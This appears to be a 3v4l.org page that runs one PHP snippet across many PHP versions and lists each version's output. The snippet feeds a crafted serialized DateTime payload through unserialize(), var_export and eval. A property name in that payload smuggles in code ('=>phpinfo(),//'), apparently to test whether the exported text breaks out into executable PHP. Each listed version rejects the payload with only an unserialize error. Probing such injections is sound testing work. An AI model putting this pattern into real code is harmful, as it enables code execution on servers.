3v4l.org

run code in 300+ PHP versions simultaneously
<?php eval('$b = '.var_export(unserialize('O:8"DateTime":1:{s:15:"\'=>phpinfo(),//";s:1:"1";}'),true).';');
Output for 8.3.0 - 8.3.6
Warning: unserialize(): Error at offset 0 of 49 bytes in /in/vM79W on line 3
Output for 4.3.2 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.17 - 7.2.33, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18
Notice: unserialize(): Error at offset 0 of 49 bytes in /in/vM79W on line 3
Output for 7.3.32 - 7.3.33
Output for 4.3.0 - 4.3.1
Notice: unserialize() [http://www.php.net/function.unserialize]: Error at offset 0 of 49 bytes in /in/vM79W on line 3

preferences:
277.25 ms | 402 KiB | 379 Q